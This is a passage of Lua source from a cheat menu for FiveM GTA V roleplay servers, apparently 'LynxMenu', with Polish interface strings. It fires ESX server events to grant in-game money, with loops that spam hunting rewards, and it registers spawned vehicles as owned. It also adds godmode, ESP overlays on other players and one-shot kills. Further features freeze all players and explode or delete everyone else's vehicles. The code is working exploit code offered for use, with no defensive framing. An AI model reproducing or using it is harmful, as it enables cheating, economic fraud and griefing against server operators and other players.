- local kwota = KeyboardInput('Wpisz ilosc kasy do wyprania', '', 100)
- if kwota ~= '' then
- TriggerServerEvent("esx_godirtyjob:pay", kwota)
- TriggerServerEvent('esx_moneywash:washMoney', kwota)
- TriggerServerEvent('esx_blanchisseur:washMoney', kwota)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- TriggerServerEvent('esx_blanchisseur:startWhitening', 85)
- end
- end
- local function cv()
- local cb = KeyboardInput('Wprowadz nazwe pojazdu', '', 100)
- local cw = KeyboardInput('Wprowadz tablice rejestracyjna', '', 100)
- if cb and IsModelValid(cb) and IsModelAVehicle(cb) then
- RequestModel(cb)
- while not HasModelLoaded(cb) do
- Citizen.Wait(0)
- end
- local veh =
- CreateVehicle(
- GetHashKey(cb),
- GetEntityCoords(PlayerPedId(-1)),
- GetEntityHeading(PlayerPedId(-1)),
- true,
- true
- )
- SetVehicleNumberPlateText(veh, cw)
- local cx = ESX.Game.GetVehicleProperties(veh)
- TriggerServerEvent('esx_vehicleshop:setVehicleOwned', cx)
- av('~g~~h~Gotowe', false)
- else
- av('~b~~h~Nie ma takiego pojazdu!', true)
- end
- end
- function daojosdinpatpemata()
- local ax = GetPlayerPed(-1)
- local ay = GetVehiclePedIsIn(ax, true)
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- SetVehicleOnGroundProperly(ay)
- av('~g~Pojazd Obrocony!', false)
- else
- av("~b~Nie jestes w pojezdzie!", true)
- end
- end
- function stringsplit(cy, cz)
- if cz == nil then
- cz = '%s'
- end
- local cA = {}
- i = 1
- for cB in string.gmatch(cy, '([^' .. cz .. ']+)') do
- cA[i] = cB
- i = i + 1
- end
- return cA
- end
- local cC = false
- function SpectatePlayer(cD)
- local ax = PlayerPedId(-1)
- cC = not cC
- local cE = GetPlayerPed(cD)
- if cC then
- local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
- RequestCollisionAtCoord(cF, cG, cH)
- NetworkSetInSpectatorMode(true, cE)
- av('Obserwowanie ' .. GetPlayerName(cD), false)
- else
- local cF, cG, cH = table.unpack(GetEntityCoords(cE, false))
- RequestCollisionAtCoord(cF, cG, cH)
- NetworkSetInSpectatorMode(false, cE)
- av('Stopowanie Obserwowania ' .. GetPlayerName(cD), false)
- end
- end
- function ShootPlayer(cD)
- local head = GetPedBoneCoords(cD, GetEntityBoneIndexByName(cD, 'SKEL_HEAD'), 0.0, 0.0, 0.0)
- SetPedShootsAtCoord(PlayerPedId(-1), head.x, head.y, head.z, true)
- end
- function MaxOut(veh)
- SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 0,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 1,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 2,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 3,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 4,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 5,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 6,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 7,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 8,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 9,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 10,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 11,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 12,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 13,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1,
- false
- )
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 15,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 16,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1,
- false
- )
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
- ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
- SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 25,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 27,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 28,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 30,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 33,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 34,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 35,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1,
- false
- )
- SetVehicleMod(
- GetVehiclePedIsIn(GetPlayerPed(-1), false),
- 38,
- GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1,
- true
- )
- SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
- SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 0, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 1, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 2, true)
- SetVehicleNeonLightEnabled(GetVehiclePedIsIn(GetPlayerPed(-1)), 3, true)
- SetVehicleNeonLightsColour(GetVehiclePedIsIn(GetPlayerPed(-1)), 222, 222, 255)
- end
- function DelVeh(veh)
- SetEntityAsMissionEntity(Object, 1, 1)
- DeleteEntity(Object)
- SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- end
- function Clean(veh)
- SetVehicleDirtLevel(veh, 15.0)
- end
- function Clean2(veh)
- SetVehicleDirtLevel(veh, 1.0)
- end
- function RequestControl(entity)
- local cI = 0
- NetworkRequestControlOfEntity(entity)
- while not NetworkHasControlOfEntity(entity) do
- cI = cI + 100
- Citizen.Wait(100)
- if cI > 5000 then
- av('Hung for 5 seconds, killing to prevent issues...', true)
- end
- end
- end
- function getEntity(cD)
- local m, entity = GetEntityPlayerIsFreeAimingAt(cD, Citizen.ReturnResultAnyway())
- return entity
- end
- function GetInputMode()
- return Citizen.InvokeNative(0xA571D46727E2B718, 2) and 'MouseAndKeyboard' or 'GamePad'
- end
- function DrawSpecialText(cJ, cK)
- SetTextEntry_2('STRING')
- AddTextComponentString(cJ)
- DrawSubtitleTimed(cK, 1)
- end
- local cL = true
- local cM = false
- local cN = true
- local cO = true
- Citizen.CreateThread(
- function()
- while true do
- Wait(1)
- for f = 0, 128 do
- if NetworkIsPlayerActive(f) and GetPlayerPed(f) ~= GetPlayerPed(-1) then
- ped = GetPlayerPed(f)
- blip = GetBlipFromEntity(ped)
- x1, y1, z1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2, z2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance = math.floor(GetDistanceBetweenCoords(x1, y1, z1, x2, y2, z2, true))
- headId = Citizen.InvokeNative(0xBFEFE3321A3F5015, ped, GetPlayerName(f), false, false, '', false)
- wantedLvl = GetPlayerWantedLevel(f)
- if cM then
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, true)
- if wantedLvl then
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, true)
- Citizen.InvokeNative(0xCF228E2AA03099C3, headId, wantedLvl)
- else
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
- end
- else
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 7, false)
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 9, false)
- Citizen.InvokeNative(0x63BB75ABEDC1F6A0, headId, 0, false)
- end
- if cL then
- if not DoesBlipExist(blip) then
- blip = AddBlipForEntity(ped)
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- else
- veh = GetVehiclePedIsIn(ped, false)
- blipSprite = GetBlipSprite(blip)
- if not GetEntityHealth(ped) then
- if blipSprite ~= 274 then
- SetBlipSprite(blip, 274)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif veh then
- vehClass = GetVehicleClass(veh)
- vehModel = GetEntityModel(veh)
- if vehClass == 15 then
- if blipSprite ~= 422 then
- SetBlipSprite(blip, 422)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif vehClass == 16 then
- if
- vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or
- vehModel == GetHashKey('lazer')
- then
- if blipSprite ~= 424 then
- SetBlipSprite(blip, 424)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif blipSprite ~= 423 then
- SetBlipSprite(blip, 423)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- end
- elseif vehClass == 14 then
- if blipSprite ~= 427 then
- SetBlipSprite(blip, 427)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- end
- elseif
- vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or
- vehModel == GetHashKey('limo2')
- then
- if blipSprite ~= 426 then
- SetBlipSprite(blip, 426)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif vehModel == GetHashKey('rhino') then
- if blipSprite ~= 421 then
- SetBlipSprite(blip, 421)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, false)
- SetBlipNameToPlayerName(blip, f)
- end
- elseif blipSprite ~= 1 then
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- end
- passengers = GetVehicleNumberOfPassengers(veh)
- if passengers then
- if not IsVehicleSeatFree(veh, -1) then
- passengers = passengers + 1
- end
- ShowNumberOnBlip(blip, passengers)
- else
- HideNumberOnBlip(blip)
- end
- else
- HideNumberOnBlip(blip)
- if blipSprite ~= 1 then
- SetBlipSprite(blip, 1)
- Citizen.InvokeNative(0x5FBCA48327B914DF, blip, true)
- SetBlipNameToPlayerName(blip, f)
- end
- end
- SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
- SetBlipNameToPlayerName(blip, f)
- SetBlipScale(blip, 0.85)
- if IsPauseMenuActive() then
- SetBlipAlpha(blip, 255)
- else
- x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
- x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(f), true))
- distance =
- math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1) +
- 900
- if distance < 0 then
- distance = 0
- elseif distance > 255 then
- distance = 255
- end
- SetBlipAlpha(blip, distance)
- end
- end
- else
- RemoveBlip(blip)
- end
- end
- end
- end
- end
- )
- local cP = {
- __gc = function(cQ)
- if cQ.destructor and cQ.handle then
- cQ.destructor(cQ.handle)
- end
- cQ.destructor = nil
- cQ.handle = nil
- end
- }
- function EnumerateEntities(cR, cS, cT)
- return coroutine.wrap(
- function()
- local cU, f = cR()
- if not f or f == 0 then
- cT(cU)
- return
- end
- local cQ = {
- handle = cU,
- destructor = cT
- }
- setmetatable(cQ, cP)
- local cV = true
- repeat
- coroutine.yield(f)
- cV, f = cS(cU)
- until not cV
- cQ.destructor, cQ.handle = nil, nil
- cT(cU)
- end
- )
- end
- function EnumeratePeds()
- return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
- end
- function EnumerateVehicles()
- return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
- end
- function EnumerateObjects()
- return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
- end
- function RotationToDirection(cW)
- local cX = cW.z * 0.0174532924
- local cY = cW.x * 0.0174532924
- local cZ = math.abs(math.cos(cY))
- return vector3(-math.sin(cX) * cZ, math.cos(cX) * cZ, math.sin(cY))
- end
- function OscillateEntity(entity, c_, d0, d1, d2)
- if entity ~= 0 and entity ~= nil then
- local d3 = (d0 - c_) * d1 * d1 - 2.0 * d1 * d2 * GetEntityVelocity(entity)
- ApplyForceToEntity(entity, 3, d3.x, d3.y, d3.z + 0.1, 0.0, 0.0, 0.0, false, false, true, true, false, true)
- end
- end
- local d4 = true
- Citizen.CreateThread(
- function()
- while bw do
- Citizen.Wait(0)
- SetPlayerInvincible(PlayerId(), Godmode)
- SetEntityInvincible(PlayerPedId(-1), Godmode)
- SetEntityVisible(GetPlayerPed(-1), d4, 0)
- if SuperJump then
- SetSuperJumpThisFrame(PlayerId(-1))
- end
- if InfStamina then
- RestorePlayerStamina(PlayerId(-1), 1.0)
- end
- if fastrun then
- SetRunSprintMultiplierForPlayer(PlayerId(-1), 2.49)
- SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
- else
- SetRunSprintMultiplierForPlayer(PlayerId(-1), 1.0)
- SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
- end
- if VehicleGun then
- local d5 = 'Freight'
- local c0 = GetEntityCoords(GetPlayerPed(-1), true)
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
- av('~g~Pistolet na pojazdy Wlaczony!~n~~w~Uzyj ~b~AP Pistol~n~~b~Wymierz ~w~i ~b~Strzel!', false)
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_APPISTOL'), 999999)
- if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_APPISTOL') then
- if IsPedShooting(GetPlayerPed(-1)) then
- while not HasModelLoaded(GetHashKey(d5)) do
- Citizen.Wait(0)
- RequestModel(GetHashKey(d5))
- end
- local veh =
- CreateVehicle(
- GetHashKey(d5),
- c0.x + 5 * GetEntityForwardX(GetPlayerPed(-1)),
- c0.y + 5 * GetEntityForwardY(GetPlayerPed(-1)),
- c0.z + 2.0,
- GetEntityHeading(GetPlayerPed(-1)),
- true,
- true
- )
- SetEntityAsNoLongerNeeded(veh)
- SetVehicleForwardSpeed(veh, 150.0)
- end
- end
- end
- end
- if DeleteGun then
- local d6 = getEntity(PlayerId(-1))
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) == false then
- av('~g~Usuwany Pistolet Wlaczony!~n~~w~Uzyj ~b~Pistolet~n~~b~Wymierz ~w~i ~b~strzel ~w~by usunac!')
- GiveWeaponToPed(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999, false, true)
- SetPedAmmo(GetPlayerPed(-1), GetHashKey('WEAPON_PISTOL'), 999999)
- if GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey('WEAPON_PISTOL') then
- if IsPlayerFreeAiming(PlayerId(-1)) then
- if IsEntityAPed(d6) then
- if IsPedInAnyVehicle(d6, true) then
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(GetVehiclePedIsIn(d6, true), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(d6, true))
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Usuniete!')
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Usuniete!')
- end
- end
- else
- if IsControlJustReleased(1, 142) then
- SetEntityAsMissionEntity(d6, 1, 1)
- DeleteEntity(d6)
- av('~g~Usuniete!')
- end
- end
- end
- end
- end
- end
- if fuckallcars then
- for ay in EnumerateVehicles() do
- if not IsPedAPlayer(GetPedInVehicleSeat(ay, -1)) then
- SetVehicleHasBeenOwnedByPlayer(ay, false)
- SetEntityAsMissionEntity(ay, false, false)
- StartVehicleAlarm(ay)
- DetachVehicleWindscreen(ay)
- SmashVehicleWindow(ay, 0)
- SmashVehicleWindow(ay, 1)
- SmashVehicleWindow(ay, 2)
- SmashVehicleWindow(ay, 3)
- SetVehicleTyreBurst(ay, 0, true, 1000.0)
- SetVehicleTyreBurst(ay, 1, true, 1000.0)
- SetVehicleTyreBurst(ay, 2, true, 1000.0)
- SetVehicleTyreBurst(ay, 3, true, 1000.0)
- SetVehicleTyreBurst(ay, 4, true, 1000.0)
- SetVehicleTyreBurst(ay, 5, true, 1000.0)
- SetVehicleTyreBurst(ay, 4, true, 1000.0)
- SetVehicleTyreBurst(ay, 7, true, 1000.0)
- SetVehicleDoorBroken(ay, 0, true)
- SetVehicleDoorBroken(ay, 1, true)
- SetVehicleDoorBroken(ay, 2, true)
- SetVehicleDoorBroken(ay, 3, true)
- SetVehicleDoorBroken(ay, 4, true)
- SetVehicleDoorBroken(ay, 5, true)
- SetVehicleDoorBroken(ay, 6, true)
- SetVehicleDoorBroken(ay, 7, true)
- SetVehicleLights(ay, 1)
- Citizen.InvokeNative(0x1FD09E7390A74D54, ay, 1)
- SetVehicleNumberPlateTextIndex(ay, 5)
- SetVehicleNumberPlateText(ay, 'LynxMenu')
- SetVehicleDirtLevel(ay, 10.0)
- SetVehicleModColor_1(ay, 1)
- SetVehicleModColor_2(ay, 1)
- SetVehicleCustomPrimaryColour(ay, 255, 51, 255)
- SetVehicleCustomSecondaryColour(ay, 255, 51, 255)
- SetVehicleBurnout(ay, true)
- end
- end
- end
- if destroyvehicles then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- NetworkRequestControlOfEntity(vehicle)
- SetVehicleUndriveable(vehicle, true)
- SetVehicleEngineHealth(vehicle, 0)
- end
- end
- end
- if explodevehicles then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- NetworkRequestControlOfEntity(vehicle)
- NetworkExplodeVehicle(vehicle, true, true, false)
- end
- end
- end
- if huntspam then
- Citizen.Wait(1)
- TriggerServerEvent('esx-qalle-hunting:reward', 20000)
- TriggerServerEvent('esx-qalle-hunting:sell')
- end
- if deletenearestvehicle then
- for vehicle in EnumerateVehicles() do
- if vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false) then
- SetEntityAsMissionEntity(GetVehiclePedIsIn(vehicle, true), 1, 1)
- DeleteEntity(GetVehiclePedIsIn(vehicle, true))
- SetEntityAsMissionEntity(vehicle, 1, 1)
- DeleteEntity(vehicle)
- end
- end
- end
- if freezeplayer then
- ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
- end
- if freezeall then
- for i = 0, 128 do
- ClearPedTasksImmediately(GetPlayerPed(i))
- end
- end
- if esp then
- for i = 0, 128 do
- if i ~= PlayerId(-1) and GetPlayerServerId(i) ~= 0 then
- local a8 = k(1.0)
- local d7 = GetPlayerPed(i)
- local d8, d9, da = table.unpack(GetEntityCoords(PlayerPedId(-1)))
- local x, y, z = table.unpack(GetEntityCoords(d7))
- local db =
- '~h~Name: ' ..
- GetPlayerName(i) ..
- '\nServer ID: ' ..
- GetPlayerServerId(i) ..
- '\nPlayer ID: ' ..
- i ..
- '\nDist: ' ..
- math.round(GetDistanceBetweenCoords(d8, d9, da, x, y, z, true), 1)
- if IsPedInAnyVehicle(d7, true) then
- local dc =
- GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(d7))))
- db = db .. '\nVeh: ' .. dc
- end
- if espinfo and esp then
- DrawText3D(x, y, z - 1.0, db, a8.r, a8.g, a8.b)
- end
- if espbox and esp then
- LineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- LineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- LineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- LineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- LineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- LineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
- LineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- TLineOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- TLineOneEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- TLineTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- TLineTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- TLineThreeBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- TLineThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
- TLineFourBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, 0.8)
- ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, 0.3, -0.9)
- ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, 0.8)
- ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, 0.3, -0.9)
- ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, 0.8)
- ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(d7, -0.3, -0.3, -0.9)
- ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, 0.8)
- ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(d7, 0.3, -0.3, -0.9)
- DrawLine(
- LineOneBegin.x,
- LineOneBegin.y,
- LineOneBegin.z,
- LineOneEnd.x,
- LineOneEnd.y,
- LineOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineTwoBegin.x,
- LineTwoBegin.y,
- LineTwoBegin.z,
- LineTwoEnd.x,
- LineTwoEnd.y,
- LineTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineThreeBegin.x,
- LineThreeBegin.y,
- LineThreeBegin.z,
- LineThreeEnd.x,
- LineThreeEnd.y,
- LineThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- LineThreeEnd.x,
- LineThreeEnd.y,
- LineThreeEnd.z,
- LineFourBegin.x,
- LineFourBegin.y,
- LineFourBegin.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineOneBegin.x,
- TLineOneBegin.y,
- TLineOneBegin.z,
- TLineOneEnd.x,
- TLineOneEnd.y,
- TLineOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineTwoBegin.x,
- TLineTwoBegin.y,
- TLineTwoBegin.z,
- TLineTwoEnd.x,
- TLineTwoEnd.y,
- TLineTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineThreeBegin.x,
- TLineThreeBegin.y,
- TLineThreeBegin.z,
- TLineThreeEnd.x,
- TLineThreeEnd.y,
- TLineThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- TLineThreeEnd.x,
- TLineThreeEnd.y,
- TLineThreeEnd.z,
- TLineFourBegin.x,
- TLineFourBegin.y,
- TLineFourBegin.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorOneBegin.x,
- ConnectorOneBegin.y,
- ConnectorOneBegin.z,
- ConnectorOneEnd.x,
- ConnectorOneEnd.y,
- ConnectorOneEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorTwoBegin.x,
- ConnectorTwoBegin.y,
- ConnectorTwoBegin.z,
- ConnectorTwoEnd.x,
- ConnectorTwoEnd.y,
- ConnectorTwoEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorThreeBegin.x,
- ConnectorThreeBegin.y,
- ConnectorThreeBegin.z,
- ConnectorThreeEnd.x,
- ConnectorThreeEnd.y,
- ConnectorThreeEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- DrawLine(
- ConnectorFourBegin.x,
- ConnectorFourBegin.y,
- ConnectorFourBegin.z,
- ConnectorFourEnd.x,
- ConnectorFourEnd.y,
- ConnectorFourEnd.z,
- a8.r,
- a8.g,
- a8.b,
- 255
- )
- end
- if esplines and esp then
- DrawLine(d8, d9, da, x, y, z, a8.r, a8.g, a8.b, 255)
- end
- end
- end
- end
- if VehGod and IsPedInAnyVehicle(PlayerPedId(-1), true) then
- SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId(-1)), true)
- end
- if oneshot then
- SetPlayerWeaponDamageModifier(PlayerId(-1), 100.0)
- local dd = getEntity(PlayerId(-1))
- if IsEntityAPed(dd) then
- if IsPedInAnyVehicle(dd, true) then
- if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
- if IsControlJustReleased(1, 69) then
- NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
- end
- else
- if IsControlJustReleased(1, 142) then
- NetworkExplodeVehicle(GetVehiclePedIsIn(dd, true), true, true, 0)
- end
- end
- end
- end
- else
- SetPlayerWeaponDamageModifier(PlayerId(-1), 1.0)
- end
- if rainbowf then
- for i = 1, 7 do
- Citizen.Wait(100)
